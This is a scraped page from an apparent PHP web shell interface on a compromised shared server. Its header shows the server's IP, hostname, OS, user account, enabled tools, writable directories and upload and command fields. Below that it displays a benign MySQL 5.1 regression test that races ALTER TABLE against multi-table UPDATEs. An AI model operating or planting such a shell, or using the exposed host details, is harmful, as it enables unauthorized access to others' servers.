403Webshell
Server IP : 49.212.180.16  /  Your IP : 18.216.110.162
Web Server : Apache
System : FreeBSD www2606.sakura.ne.jp 13.0-RELEASE-p14 FreeBSD 13.0-RELEASE-p14 #2: Mon Dec 9 13:54:55 JST 2024 root@www5301.sakura.ne.jp:/usr/obj/usr/src/amd64.amd64/sys/GENERIC amd64
User : utannto ( 1076)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/rs/mysql/5.1/mysql-test/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/rs/mysql/5.1/mysql-test/t/lock_multi_bug38499.test
# Bug38499 flush tables and multitable table update with derived table cause crash
# MySQL >= 5.0
#

# Save the initial number of concurrent sessions
--source include/count_sessions.inc

SET @odl_sync_frm = @@global.sync_frm;
SET @@global.sync_frm = OFF;

connect (locker,localhost,root,,);
connect (writer,localhost,root,,);

--connection default
--disable_warnings
DROP TABLE IF EXISTS t1;
--enable_warnings
CREATE TABLE t1( a INT, b INT );
INSERT INTO t1 VALUES (1, 1), (2, 2), (3, 3), (4, 4);

--echo # 1. test regular tables
--echo # 1.1. test altering of columns that multiupdate doesn't use
--echo # 1.1.1. normal mode

--disable_query_log
let $i = 100;
while ($i) {
--dec $i

--connection writer
  send UPDATE t1, (SELECT 1 FROM t1 t1i) d SET a = 0 WHERE 1=0;

--connection locker
  ALTER TABLE t1 ADD COLUMN (c INT);
  ALTER TABLE t1 DROP COLUMN c;

--connection writer
--reap
}

--echo # 1.1.2. PS mode

--connection writer
PREPARE stmt FROM 'UPDATE t1, (SELECT 1 FROM t1 t1i) d SET a = 0 WHERE 1=0';

let $i = 100;
while ($i) {
--dec $i

--connection writer
--send EXECUTE stmt

--connection locker
  ALTER TABLE t1 ADD COLUMN (c INT);
  ALTER TABLE t1 DROP COLUMN c;

--connection writer
--reap
}
--enable_query_log

--echo # 1.2. test altering of columns that multiupdate uses
--echo # 1.2.1. normal mode

--connection default

--disable_query_log
let $i = 100;
while ($i) {
  dec $i;

--connection locker
--error 0,ER_DUP_FIELDNAME
  ALTER TABLE t1 ADD COLUMN a int(11) unsigned default NULL;
  UPDATE t1 SET a=b;

--connection writer
--send UPDATE t1, (SELECT 1 FROM t1 t1i) d SET a = 0 WHERE 1=0;

--connection locker
--error 0,ER_CANT_DROP_FIELD_OR_KEY
  ALTER TABLE t1 DROP COLUMN a;

--connection writer
--error 0,ER_BAD_FIELD_ERROR # unknown column error
--reap
}
--enable_query_log

--echo # 1.2.2. PS mode

--disable_query_log
let $i = 100;
while ($i) {
  dec $i;

--connection locker
--error 0,ER_DUP_FIELDNAME
  ALTER TABLE t1 ADD COLUMN a INT;
  UPDATE t1 SET a=b;

--connection writer
  PREPARE stmt FROM 'UPDATE t1, (SELECT 1 FROM t1 t1i) d SET a = 0 WHERE 1=0';
--send EXECUTE stmt

--connection locker
--error 0,ER_CANT_DROP_FIELD_OR_KEY
  ALTER TABLE t1 DROP COLUMN a;

--connection writer
--error 0,ER_BAD_FIELD_ERROR # Unknown column 'a' in 'field list'
--reap
}
--enable_query_log
--connection default
ALTER TABLE t1 ADD COLUMN a INT;

--echo # 2. test UNIONs
--echo # 2.1. test altering of columns that multiupdate doesn't use
--echo # 2.1.1. normal mode

--disable_query_log
let $i = 100;
while ($i) {
--dec $i

--connection writer
  send UPDATE t1, ((SELECT 1 FROM t1 t1i) UNION (SELECT 2 FROM t1 t1ii)) e SET a = 0 WHERE 1=0;

--connection locker
  ALTER TABLE t1 ADD COLUMN (c INT);
  ALTER TABLE t1 DROP COLUMN c;

--connection writer
--reap
}

--echo # 2.1.2. PS mode

--connection writer
PREPARE stmt FROM 'UPDATE t1, ((SELECT 1 FROM t1 t1i) UNION (SELECT 2 FROM t1 t1ii)) e SET a = 0 WHERE 1=0';

let $i = 100;
while ($i) {
--dec $i

--connection writer
--send EXECUTE stmt

--connection locker
  ALTER TABLE t1 ADD COLUMN (c INT);
  ALTER TABLE t1 DROP COLUMN c;

--connection writer
--reap
}
--enable_query_log

--echo # 2.2. test altering of columns that multiupdate uses
--echo # 2.2.1. normal mode

--connection default

--disable_query_log
let $i = 100;
while ($i) {
  dec $i;

--connection locker
--error 0,ER_DUP_FIELDNAME
  ALTER TABLE t1 ADD COLUMN a int(11) unsigned default NULL;
  UPDATE t1 SET a=b;

--connection writer
--send UPDATE t1, ((SELECT 1 FROM t1 t1i) UNION (SELECT 2 FROM t1 t1ii)) e SET a = 0 WHERE 1=0;

--connection locker
--error 0,ER_CANT_DROP_FIELD_OR_KEY
  ALTER TABLE t1 DROP COLUMN a;

--connection writer
--error 0,ER_BAD_FIELD_ERROR # Unknown column 'a' in 'field list'
--reap
}
--enable_query_log

--echo # 2.2.2. PS mode

--disable_query_log
let $i = 100;
while ($i) {
  dec $i;

--connection locker
--error 0,ER_DUP_FIELDNAME
  ALTER TABLE t1 ADD COLUMN a INT;
  UPDATE t1 SET a=b;

--connection writer
  PREPARE stmt FROM 'UPDATE t1, ((SELECT 1 FROM t1 t1i) UNION (SELECT 2 FROM t1 t1ii)) e SET a = 0 WHERE 1=0';
--send EXECUTE stmt

--connection locker
--error 0,ER_CANT_DROP_FIELD_OR_KEY
  ALTER TABLE t1 DROP COLUMN a;

--connection writer
--error 0,ER_BAD_FIELD_ERROR # Unknown column 'a' in 'field list'
--reap
}
--enable_query_log
--connection default
DROP TABLE t1;


# Close connections
--disconnect locker
--disconnect writer

SET @@global.sync_frm = @odl_sync_frm;

# End of 5.0 tests

# Wait till all disconnects are completed
--source include/wait_until_count_sessions.inc


Youez - 2016 - github.com/yon3zu
LinuXploit